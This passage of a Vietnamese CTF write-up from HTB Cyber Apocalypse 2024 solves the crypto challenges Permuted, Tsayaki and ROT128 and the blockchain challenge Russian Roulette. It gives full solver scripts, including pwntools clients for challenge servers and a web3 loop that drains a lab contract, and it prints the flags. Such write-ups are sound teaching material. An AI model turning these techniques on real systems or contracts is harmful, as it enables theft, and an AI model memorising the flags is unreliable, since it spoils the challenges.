`g.order()`. Hàm `order()` này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: `g.order() = 3311019189498977856900` - Khi factor `g.order()` mình nhận được ước số khá bé, rất dễ dàng cho thuật toán `Pohlig-Hellman` trong `Sn (Symmetric Group)`. Cụ thể code để tìm lại `dlog` như sau: ```python= from output import g, A, B from sage.all import * g = PermutationGroupElement(Permutation([i+1 for i in g])) A = PermutationGroupElement(Permutation([i+1 for i in A])) B = PermutationGroupElement(Permutation([i+1 for i in B])) o = g.order() a = [] b = [] for p,e in factor(o): tg = g^(ZZ(o/p^e)) tA = A^(ZZ(o/p^e)) tB = B^(ZZ(o/p^e)) for i in range(p^e): if tg^i==tA: a.append([i,p^e]) for i in range(p^e): if tg^i==tB: b.append([i,p^e]) print(a) print(b) a = crt([i[0] for i in a],[i[1] for i in a]) b = crt([i[0] for i in b],[i[1] for i in b]) ``` (Nhớ dùng trong sage) - Khi tìm lại được cả `a` và `b` mình đã `assert` oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi. - Full code: ```python= from output import g, A, B from hashlib import sha256 from Crypto.Util.number import * from Crypto.Util.Padding import unpad from Crypto.Cipher import AES g = PermutationGroupElement(Permutation([i+1 for i in g])) A = PermutationGroupElement(Permutation([i+1 for i in A])) B = PermutationGroupElement(Permutation([i+1 for i in B])) o = g.order() a = [] b = [] for p,e in factor(o): tg = g^(ZZ(o/p^e)) tA = A^(ZZ(o/p^e)) tB = B^(ZZ(o/p^e)) for i in range(p^e): if tg^i==tA: a.append([i,p^e]) for i in range(p^e): if tg^i==tB: b.append([i,p^e]) a = crt([i[0] for i in a],[i[1] for i in a]) b = crt([i[0] for i in b],[i[1] for i in b]) assert g^a == A assert g^b == B class Permutationx: def __init__(self, mapping): self.length = len(mapping) assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions self.mapping = list(mapping) def __call__(self, *args, **kwargs): idx, *_ = args assert idx in range(self.length) return self.mapping[idx] def __mul__(self, other): ans = [] for i in range(self.length): ans.append(self(other(i))) return Permutationx(ans) def __pow__(self, power, modulo=None): ans = Permutationx.identity(self.length) ctr = self while power > 0: if power % 2 == 1: ans *= ctr ctr *= ctr power //= 2 return ans def __str__(self): return str(self.mapping) def identity(length): return Permutationx(range(length)) from output import g, A, B g = Permutationx(g) assert str(g**a) == str(A) and str(g**b) == str(B) A, B = Permutationx(A), Permutationx(B) C = A**b assert C.mapping == (B**a).mapping sec = tuple(C.mapping) sec = hash(sec) sec = long_to_bytes(sec) hash = sha256() hash.update(sec) key = hash.digest()[16:32] enc = b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd' iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9" cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc), 16).decode() print(flag) ``` ### Flag > ~~`HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}`~~ ### Note - Bài này khá hay đối với mình vì mở mang cho mình khá nhiều kiến thức, bên cạnh đó mình cũng tham khảo official writeup ở [bài này](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/crypto/%5BHard%5D%20Permuted) của bác `makelariss` cũng khá hay. Shout-out :fire: - Thêm một nguồn tham khảo nữa là [bài này](https://ariana1729.github.io/writeups/2022/GreyCTF/Permutation/2022-06-10-Permutation.html) cũng hay không kém :fire: --- ## 9. Tsayaki ### Description - Server code: ```python= from tea import Cipher as TEA from secret import IV, FLAG import os ROUNDS = 10 def show_menu(): print(""" ============================================================================================ || I made this decryption oracle in which I let users choose their own decryption keys. || || I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right? || || If you manage to prove me wrong 10 times, you get a special gift. || ============================================================================================ """) def run(): show_menu() server_message = os.urandom(20) print(f'Here is my special message: {server_message.hex()}') used_keys = [] ciphertexts = [] for i in range(ROUNDS): print(f'Round {i+1}/10') try: ct = bytes.fromhex(input('Enter your target ciphertext (in hex) : ')) assert ct not in ciphertexts for j in range(4): key = bytes.fromhex(input(f'[{i+1}/{j+1}] Enter your encryption key (in hex) : ')) assert len(key) == 16 and key not in used_keys used_keys.append(key) cipher = TEA(key, IV) enc = cipher.encrypt(server_message) if enc != ct: print(f'Hmm ... close enough, but {enc.hex()} does not look like {ct.hex()} at all! Bye...') exit() except: print('Nope.') exit() ciphertexts.append(ct) print(f'Wait, really? {FLAG}') if __name__ == '__main__': run() ``` - Challenge code: Tương tự bài [Iced TEA](https://hackmd.io/sXfigwmiRB-_YCZiXtTK6g?view#Description4) ### Solution - Trước hết, mình sẽ phân tích flow của server. Server đầu tiên sẽ cung cấp cho chúng ta một `server_message` (gọi tắt là `sm`). `sm` sẽ được mã hóa bằng thuật toán `TEA-CBC` với `IV` cố định (`IV` này lấy từ local), vậy còn `key` thì sao? Chúng ta sẽ chính là người cung cấp `key` cho bài. Thực chất `server` sẽ chạy 10 vòng, ở mỗi vòng sẽ lấy vào `ct` và 4 `key` của mình, nếu có thể tạo ra collision giữa `ct` và `enc_sm` thì được accept và chạy vào vòng kế tiếp. Tất nhiên sau khi sử dụng `key` nào thì `key` đó sẽ trở nên useless cho vòng `key` tiếp theo. `ct` cũng không được reused btw :smiley_cat: - Nếu bypass được tất cả 10 vòng này thì server sẽ nhả flag cho mình, nói là 10 vòng cho bé thôi chứ mỗi vòng chính lại cần tìm 4 `key` khác nhau, tổng cộng là mình cần có 10 cặp `(4 keys, ct)` để break bài này. - Trước hết `IV` là cố định và mode là `CBC` nên việc recover lại `IV` không quá khó, yêu cầu hiểu về các mode là có thể làm được rồi: ![CBC](https://hackmd.io/_uploads/rydL0uZRT.png) - Như đã thấy, đề bài cung cấp cho chúng ta `sm`, bản mã của `sm`, `key` do chúng ta cung cấp, vậy thì bằng một thủ thuật đơn giản mình có thể tìm lại được `IV`: ``` CBC: E(key, sm ^ IV) = enc_sm D(key, enc_sm) = sm ^ IV ``` - Tuy nhiên nếu để ý kĩ, ta sẽ thấy `D(key, enc_sm) của CBC` khá giống với `ECB`, vậy nên mình sẽ `decrypt(enc_sm)` bằng mode `ECB` và xor output với `sm` là recover xong `IV`: ```python= from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from Crypto.Util.Padding import unpad, pad from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def decrypt(self, ciphertext): blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)] pt = b'' if self.mode == Mode.ECB: for ct_block in blocks: pt += self.decrypt_block(ct_block) elif self.mode == Mode.CBC: X = self.IV for ct_block in blocks: dec_block = self.decrypt_block(ct_block) pt += self._xor(X, dec_block) X = ct_block return pt def decrypt_block(self, ciphertext): c = b2l(ciphertext) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 m0 = c >> (self.BLOCK_SIZE//2) m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1) s = self.DELTA * 32 for i in range(32): m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk s -= self.DELTA m = (m0 << (self.BLOCK_SIZE//2)) | m1 return l2b(m) pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d' key = b'1' * 16 ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34' pt, ct = bytes.fromhex(pt), bytes.fromhex(ct) cipher = Cipher(key) temp = cipher.decrypt(ct) IV = cipher._xor(temp, pt)[:8] print(IV) ``` (Nhớ dùng lại file như bài `Iced TEA`. `pt` và `ct` ở trên là mình lấy từ server, còn `key` là của mình gửi lên) - Tìm được `IV = b'\r\xdd\xd2w<\xf4\xb9\x08'` (chỉ 8 bytes thôi nên đừng confuse :monkey:, just chill). Việc tìm lại `IV` rất có ý nghĩa cho attack của mình vì mình phải gửi lên `ct` đã `encrypt` bằng `key` và `IV`. - Công việc tiếp theo yêu cầu chúng ta kiến thức về `Equivalent keys`. Tài liệu tham khảo về `Equivalent keys` có thể xem ở mục 3.5 trong [đây](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf) (shout-out anh `Thangcoithongminh` :fire:). Vì paper đã viết khá rõ rồi nên mình sẽ chỉ giải thích vulnerability thôi. Nếu nhìn vào hàm `encrypt_block` trong class `Cipher`: ![Vul](https://hackmd.io/_uploads/H1gRQFb0T.png) thì ai cũng sẽ nhận ra vấn đề các `key` khác nhau có thể mã hóa giống nhau cho một bản rõ, ở đây maximum chỉ tìm được 3 `key` khác nên số vòng test `key` là 4 :monkey: - Dài dòng như trên nhưng cuối cùng kiểu gì cũng sẽ tìm được 4 keys lần lượt là: ```python= h = 0x80000000 K0 = k0 + k1 + k2 + k3 K1 = k0 + k1 + xor(k2, h) + xor(k3, h) K2 = xor(k0, h) + xor(k1, h) + k2 + k3 K3 = xor(k0, h) + xor(k1, h) + xor(k2, h) + xor(k3, h) ``` - Tới đây thì done, mình đã có các `key` rồi, giờ đem đi thử nghiệm thôi: ```python= pt = '712ebc63b7ee138ddf8e2405309c38448b310e6d' key = b'1' * 16 ct = 'ac442644f6e843e4382da8864248e85751ef723cc9a14d34' pt, ct = bytes.fromhex(pt), bytes.fromhex(ct) IV = b'\r\xdd\xd2w<\xf4\xb9\x08' def keys(key): h = 0x80000000 h = l2b(h) k = [key[i:i+4] for i in range(0, 16, 4)] K0 = k[0] + k[1] + k[2] + k[3] K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h) K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3] K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h) return [K0, K1, K2, K3] for key in keys(key): cipher = Cipher(key, IV) test = cipher.encrypt(pt) print(test == ct) ``` - Gotcha, giờ mình sẽ viết full code cho bài: ```python= from pwn import * from source import Cipher from Crypto.Util.number import * def keys(key: bytes): h = 0x80000000 h = long_to_bytes(h) k = [key[i:i+4] for i in range(0, 16, 4)] K0 = k[0] + k[1] + k[2] + k[3] K1 = k[0] + k[1] + xor(k[2], h) + xor(k[3], h) K2 = xor(k[0], h) + xor(k[1], h) + k[2] + k[3] K3 = xor(k[0], h) + xor(k[1], h) + xor(k[2], h) + xor(k[3], h) return [K0, K1, K2, K3] HOST = '83.136.254.199' PORT = 36738 IV = b'\r\xdd\xd2w<\xf4\xb9\x08' r = remote(HOST, PORT) r.recvuntil(b': ') sm = r.recvuntil(b'\n').split(b'\n')[0].decode() for round in range(10): key = (str(round) * 16).encode() ct = Cipher(key=key, iv=IV).encrypt(bytes.fromhex(sm)) r.sendlineafter(b' (in hex) : ', bytes.hex(ct).encode()) temp = keys(key) for k in temp: r.sendlineafter(b'(in hex) : ', bytes.hex(k).encode()) print(f'Finish round number: {round + 1} !!!') if round == 9: print(r.recv().decode()) ``` ### Flag > ~~`HTB{th1s_4tt4ck_m4k3s_T34_1n4ppr0pr14t3_f0r_h4sh1ng!}`~~ ### Note - Đây là một bài hard khá hay, làm mình tốn kha khá thời gian (1 tiếng) để giải sau khi HTB end. --- ## 10. ROT128 ### Description - Challenge code: ```python= import random, os, signal from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from secret import FLAG ROUNDS = 3 USED_STATES = [] _ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) N = 128 def handler(signum, frame): print("\n\nToo slow, don't try to do sneaky things.") exit() def validate_state(state): if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]): print('Please, make sure your input satisfies the upper and lower bounds.') return False if sorted(state[:4]) in USED_STATES: print('You cannot reuse the same state') return False if sum(user_state[:4]) < 2: print('We have to deal with some edge cases...') return False return True class HashRoll: def __init__(self): self.reset_state() def hash_step(self, i): r1, r2 = self.state[2*i], self.state[2*i+1] return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2) def update_state(self, state=None): if not state: self.state = [0] * 6 self.state[:4] = [random.randint(0, N) for _ in range(4)] self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)] else: self.state = state def reset_state(self): self.update_state() def digest(self, buffer): buffer = int.from_bytes(buffer, byteorder='big') m1 = buffer >> N m2 = buffer & (2**N - 1) self.h = b'' for i in range(2): self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big') return self.h print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!') hashfunc = HashRoll() for _ in range(ROUNDS): print(f'ROUND {_+1}/{ROUNDS}!') server_msg = os.urandom(32) hashfunc.reset_state() server_hash = hashfunc.digest(server_msg) print(f'You know H({server_msg.hex()}) = {server_hash.hex()}') signal.signal(signal.SIGALRM, handler) signal.alarm(2) user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',') try: user_state = list(map(int, user_state)) if not validate_state(user_state): print("The state is not valid! Try again.") exit() hashfunc.update_state(user_state) if hashfunc.digest(server_msg) == server_hash: print(f'Moving on to the next round!') USED_STATES.append(sorted(user_state[:4])) else: print('Not today.') exit() except: print("The hash function's state must be all integers.") exit() finally: signal.alarm(0) print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}') ``` ### Solution - Bài này là bài lỏ nhất mình từng làm, một là vì có cả unintended solution, hai là bài này hơi quá khó để mình giải và thực sự học được gì đó. Tuy nhiên mình sẽ cố để hấp thụ tinh hoa trong bài toán này. - Trước hết, file source gợi ý cho mình về ý tưởng khai thác second preimage resistance của hàm băm tự chế `HashRoll()`. Chúng ta sẽ cần break 3 lần liên tiếp để server nhả flag. Về công việc trong mỗi vòng, mình có thể tóm tắt lại như sau: - Server đẻ ra một `server_msg` với 32 bytes, sau đó trả ra cho chúng ta một hàm băm của `server_msg` gọi là `server_hash = H(server_msg)` - Trong 2s, chúng ta sẽ cần nhập vào các `user_state` hợp lệ, sau đó server sẽ thử băm `user_state` ra, nếu `H(user_state) = server_hash` thì chuyển tới vòng tiếp theo - Như vậy, công việc chính của mỗi vòng là tìm `user_state`, tạm gọi là `S'` sao cho `H(S') = H(S)`, với `S` là `server_msg`. Trong đó, `S'` (cũng như `S`) gồm có các thành phần `a`, `b`, `c`, `d` là số bits để `ROL - left rotate` (dịch vòng trái) và `e`, `f` là hai số 128 bits sắp `ROLed`. Tuy nhiên, có hai điều cần phải lưu ý, `S'` cần phải hợp lệ, tức là: - Không được reuse lại `S'` - Tổng `a + b + c + d` không được nhỏ hơn 2 (tránh vài trường hợp đặc biệt) - `a`, `b`, `c`, `d` phải nằm trong nửa đoạn `[0, 128)`, `e` và `f` phải nằm trong khoảng `(0, 2^128 - 1)` - Tất cả mọi thứ đều được phân tích xong, đã biết được chúng ta cần gửi lên server bộ số `(a, b, c, d, e, f)` sao cho ``` H(S') = H(S) <=> h1' + h2' = ROL(e, a) ^ ROL(f, b) ^ m1 + ROL(e, c) ^ ROL(f, d) ^ m2 = h1 + h2 ``` giờ mình sẽ đi tới cách attack, theo cả unintended và intended solution. #### Unintended solution - Unintended solution này xảy ra vì chúng ta có thể dùng `z3` để giải. Khi đề bài cho mình `server_msg` (`S`) và `server_hash` (`H(S)`) cũng đồng nghĩa với việc chúng ta có được các giá trị `h1`, `h2` (từ `H(S)`) và `m1`, `m2` (từ `S`). Về chi tiết mình sẽ không đi quá sâu mà chỉ gợi ý tìm bằng cách khai thác `buffer` vì `buffer = l2b(S)`. Từ đây, chắc chắn một điều ta có thể giải ra bộ số `(a, b, c, d, e, f)` thỏa mãn `h1' + h2' = h1 + h2` như trên bằng `z3`. Đóng gói bộ số này gửi lên server là xong: ```python= from z3 import * from pwn import * import re HOST = PORT = def find_hex_strings(text): pattern = r'\b[a-fA-F0-9]{64}\b' hex_strings = re.findall(pattern, text) return hex_strings while True: try: r = remote(HOST, PORT) for i in range(3): data = r.recvuntil(b"Send your hash function state (format: a,b,c,d,e,f) ::").decode() data = find_hex_strings(data) buffer = int(data[0], 16) h = data[1] N = 128 _ROL_ = lambda x, i: ((x << i) | (x >> (N-i))) & (2**N - 1) m1 = buffer >> N m2 = buffer & (2**N - 1) h1 = int(h[:32], 16) ^ m1 h2 = int(h[32:], 16) ^ m2 solver = Solver() # Declare e and f as 128 bit BitVecs e, f = BitVecs('e f', N) def constraint_ROL_xor(e, f, i1, i2, h): return _ROL_(e, i1) ^ _ROL_(f, i2) == h a, b, c, d = BitVecs('a b c d', 7) a,b,c,d = ZeroExt(128-7, a), ZeroExt(128-7, b), ZeroExt(128-7, c), ZeroExt(128-7, d) solver.add(constraint_ROL_xor(e, f, a, b, h1)) solver.add(constraint_ROL_xor(e, f, c, d, h2)) if solver.check() == sat: m = solver.model() print(m) dict = {d.name(): m[d] for d in m.decls()} res = f"{dict['a']},{dict['b']},{dict['c']},{dict['d']},{dict['e']},{dict['f']}" r.sendline(res.encode()) r.recvline() print(r.recvline()) except: pass ``` (Shout-out anh `lilthawg` vì bộ code lỏ này :fire:) - Tuy nhiên không nên vứt máy một chỗ rùi chạy code vì code brute vô hạn không ngừng có lúc đúng có lúc sai và sẽ có một lúc nào đó mọi người không ngờ mà flag lòi ra đâu :penguin: #### Intended solution - Về intended solution của bài này thì dài kinh khủng khiếp (vì là Insane mà). Tuy nhiên, có thể thu nhỏ vấn đề lại về bài viết [này](https://crypto.stackexchange.com/questions/107005/a-problem-related-to-two-bitwise-sums-of-rotations-of-two-different-bitstrings) - Nếu đọc bài viết trên, ta có thể hình thành hoàn toàn lời giải cho bài này, tuy nhiên mình cần làm rõ một vài vấn đề: - Ta đã biết phép `xor` chính là phép cộng trong trường `Fp` với `p = 2`, vậy còn phép dịch trái thì sao. Dịch trái 1 bit tương ứng với việc nhân số đó với 2^1, 2 bits là nhân với 2^2, tổng quát lại, dịch k bits là nhân với 2^k. - Tuy nhiên, nếu phần tử `A` của ta là đa thức, khi đó, ta gọi trường hữu hạn `Fp` trên là một vành đa thức (polynomial rings) `Fp[z]` thỏa mãn `A` là một tổ hợp tuyến tính của `a[i] * z^i`, `a[i]` là phần tử của `Fp`. Trong bài này, trường nghiên cứu là `GF(2^128)` - Vậy kiến thức này liên quan đến gì tới bài, thực ra nhiều là đằng khác. Xét cách biểu diễn đa thức của một số trong trường `GF(2^k)` - là trường Galois đã gặp trong mã hóa AES với `k = 3`, ta có `GF(2^3)` và trường này có 8 phần tử phân biệt từ 0 đến 7, cụ thể như sau: | Số | Biểu diễn nhị phân | Biểu diễn đa thức | | --- | ------------------ | -------------------------------- | | 0 | 000 | 0x^2 + 0x^1 + 0x^0 = 0 | | 1 | 001 | 0x^2 + 0x^1 + 1x^0 = 1 | | 2 | 010 | 0x^2 + 1x^1 + 0x^0 = x | | 3 | 011 | 0x^2 + 1x^1 + 1x^0 = x + 1 | | 4 | 100 | 1x^2 + 0x^1 + 0x^0 = x^2 | | 5 | 101 | 1x^2 + 0x^1 + 1x^0 = x^2 + 1 | | 6 | 110 | 1x^2 + 1x^1 + 0x^0 = x^2 + x | | 7 | 111 | 1x^2 + 1x^1 + 1x^0 = x^2 + x + 1 | - Nói cách khác, các phần tử trong trường `GF(2^3)` được biểu diễn dưới dạng trên (cột 3). Nếu ta `xor` hai phần tử với nhau, giả sử `7 xor 3` sẽ nhận được kết quả là `x^2`, vì: ``` 7 xor 3 = 7 + 3 (mod 2) = (x^2 + x + 1) + (x + 1) (mod 2) = x^2 + 2x + 2 (mod 2) = x^2 (mod 2) ``` - Đối với bài, trường chúng ta làm việc sẽ là `GF(2^128)` và chứa 128 phần tử từ 0 đến 127. Khi đó, nếu tính `h1'` và `h2'` như bài, ta sẽ thực hiện: ``` h1' = ROL(e, a) ^ ROL(f, b) ^ m1 h2' = ROL(e, c) ^ ROL(f, d) ^ m2 <=> h1' ^ m1 = ROL(e, a) ^ ROL(f, b) h2' ^ m2 = ROL(e, c) ^ ROL(f, d) - Nếu chọn a = c, khi đó: h1' ^ m1 = ROL(e, a) + 2**b * f h2' ^ m2 = ROL(e, a) + 2**d * f (theo như lí thuyết ở trên) => h1' ^ m1 ^ h2' ^ m2 = 2**b * f ^ 2**d * f => h1' ^ m1 ^ h2' ^ m2 = (2**b ^ 2**d)f => f = (h1' ^ m1 ^ h2' ^ m2) / (2**b ^ 2**d) => f = (h1 ^ h2 ^ m1 ^ m2) / (2**b ^ 2**d) + Đến đây chỉ cần check factor như bài viết trong link là được - Ta có ROL(e, a) = 2**a * e => 2**a = ROL(e, a) / e => a = log2(ROL(e, a) / e) + Đến đây cũng check factor như bài viết trong link - Lại có e = ROL(e, a) / (2**a) => e = (h1' ^ m1 - ROL(f, b)) / (2**a) => e = (h1 ^ m1 - ROL(f, b)) / (2**a) ``` - Vậy chúng ta đã có đầy đủ bộ số `(e, f)` dựa vào `(a, b, c, d)` và `(h1, h2, m1, m2)` thỏa mãn yêu cầu đề bài, vậy attack thôi. - Code: ```python= from pwn import process from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l import itertools, math from sage.all import * N = 128 F = GF(2**N, 'w') w = F.gen() PR = PolynomialRing(GF(2), 'z') z = PR.gen() _ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) def int2pre(i): coeffs = list(map(int, bin(i)[2:].zfill(N)))[::-1] return PR(coeffs) def pre2int(p): coeffs = p.coefficients(sparse=False) return sum(2**i * int(coeffs[i]) for i in range(len(coeffs))) def pre2int(p): coeffs = p.coefficients(sparse=False) return sum(2**i * int(coeffs[i]) for i in range(len(coeffs))) def get_all_bd(): powers = '0123456789' cands = itertools.product(powers, repeat=2) bd = {} for cand in set(cands): b = int(cand[0]) d = int(cand[1]) s = 2**b + 2**d bd[s] = sorted([b, d]) return bd def get_b_and_d(H, bd, visited): factors = sorted([F(i**j).integer_representation() for i,j in list(H.factor())]) for fact in factors: if fact in visited: continue if fact in bd: b, d = bd[fact] visited.append(fact) return (b, d) def get_a_and_c(numer): numer_factors = sorted([F(i**j).integer_representation() for i,j in list(numer.factor())]) cands = [] for factor in numer_factors: a = int(math.log2(factor)) if 2**a == factor: c = a cands.append((a, c)) return cands def solve(io, bd, used_states, visited): io.recvuntil(b'H(') server_msg = int(io.recv(64), 16) io.recvuntil(b' = ') server_hash = l2b(int(io.recvline().strip().decode(), 16)) m1, m2 = server_msg >> N, server_msg & (2**N - 1) H1, H2 = b2l(server_hash[:16]) ^ m1, b2l(server_hash[16:]) ^ m2 H = int2pre(H1) + int2pre(H2) if not H: return None bd = get_b_and_d(H, bd, visited) if not bd: return None b, d = bd assert H.mod(int2pre(2**b + 2**d)) == 0 f = H / int2pre(2**b + 2**d) numer = int2pre(H1) - f * int2pre(2**b) ac = get_a_and_c(numer) if not ac: return None for (a, c) in ac: e = numer / int2pre(2**a) e = pre2int(PR(e)) f = pre2int(PR(f)) if sorted([a, b, c, d]) in used_states: continue if H1 == _ROL_(e, a) ^ _ROL_(f, b) and H2 == _ROL_(e, c) ^ _ROL_(f, d): used_states.append(sorted([a, b, c, d])) state = a, b, c, d, e, f return state bd = get_all_bd() while True: used_states = [] visited = [] done = 0 io = process(['python3', 'server.py']) for _ in range(3): state = solve(io, bd, used_states, visited) if state: a, b, c, d, e, f = state io.sendlineafter(b' :: ', f'{a},{b},{c},{d},{e},{f}'.encode()) done += 1 print(f'Finish round number {done} !!!') if done == 3: io.recvline() print(io.recvline().decode()) exit() else: print('Try again!!!') io.close() break ``` (Code hơi dài và khó viết nên quả thật bài này `Insane` cũng đáng) - Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác `ROL`, `GF(2**128)` và việc tìm `collision` cho hàm băm nên bài này thực sự rất hay, xứng đáng :100: ### Flag > ~~`HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}`~~ --- # II. Blockchain ## 0. Introduction - Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh `Mạnh AT18`, anh `lilthawg29` với ông bạn lỏ `Thụy AT20`. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading :heart: ## 1. Russian Roulette ### Description - `Setup.sol`: ```sol= pragma solidity 0.8.23; import {RussianRoulette} from "./RussianRoulette.sol"; contract Setup { RussianRoulette public immutable TARGET; constructor() payable { TARGET = new RussianRoulette{value: 10 ether}(); } function isSolved() public view returns (bool) { return address(TARGET).balance == 0; } } ``` - `RussianRoulette.sol`: ```sol= pragma solidity 0.8.23; contract RussianRoulette { constructor() payable { // i need more bullets } function pullTrigger() public returns (string memory) { if (uint256(blockhash(block.number - 1)) % 10 == 7) { selfdestruct(payable(msg.sender)); // 💀 } else { return "im SAFU ... for now"; } } } ``` ### Solution - Bài này thì có hai file, file `Setup.sol` sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck): - Khai báo một contract tên `Setup` - Khai báo một biến `TARGET` (biến `immutable`, tạm hiểu là không thể thay đổi, giống với chức năng của biến `constant` ). Bên cạnh đó `TARGET` thuộc kiểu `RussianRoulette` (đã import từ file `RussianRoulette.sol`) - Khai báo một hàm khởi tạo, trong hàm này gán `TARGET` bằng địa chỉ của `RussianRoulette` và 10 `Ether` khởi tạo - Khai báo hàm `isSolved()`, dùng để kiểm tra số dư của `TARGET`, nếu bằng 0 thì trả về `True` - Mình sẽ đi sâu một chút vào phân tích file `RussianRoulette.sol`: - Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui :monkey:) - Khai báo hàm `pullTrigger()`, hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (`selfdestruct`), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòng `im SAFU ... for now` (thực ra chẳng `SAFU` nổi đâu vì mình sắp cho nó đi bán muối rồi :smiling_imp:) - Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng `TARGET` kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi `Spawn Docker` của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi. - Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là `pullTrigger()` vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu `TARGET` kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào :penguin:, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần `pullTrigger()` cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít :penguin: - Full script: ```python= import eth_account from web3 import Web3 w3 = Web3(Web3.HTTPProvider('http://94.237.53.81:39438')) Private_key = '0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38' Address = '0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0' Target_contract = '0x251478952cDF5819e5C901db75a1E12B65Af3122' Setup_contract = '0x1176a5a7413241ECA579B5d38290b8fe31e24FE9' my_account = eth_account.Account.from_key(Private_key) SETUP_CONTRACT_ABI = [ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "TARGET", "outputs": [ { "internalType": "contract RussianRoulette", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "isSolved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" } ] TARGET_CONTRACT_ABI = [ { "inputs": [], "stateMutability": "payable", "type": "constructor" }, { "inputs": [], "name": "pullTrigger", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "payable", "type": "function" } ] Setup_contract = w3.eth.contract(address=Setup_contract, abi=SETUP_CONTRACT_ABI) Target_contract = w3.eth.contract(address=Target_contract, abi=TARGET_CONTRACT_ABI) while True: is_solved = Setup_contract.functions.isSolved().call() if is_solved: print("Target contract is already solved!") break tx = Target_contract.functions.pullTrigger().build_transaction({ 'gas': 200000, 'gasPrice': w3.to_wei('5', 'gwei'), 'nonce': w3.eth.get_transaction_count(Address), }) signed_tx = w3.eth.account.sign_transaction(tx, Private_key) tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction) print("Transaction sent:", tx_hash.hex()) ``` (để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ :monkey:) - Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done :moneybag: ![TARGET](https://hackmd.io/_uploads/SJqyX6WA6.png) ### Flag > 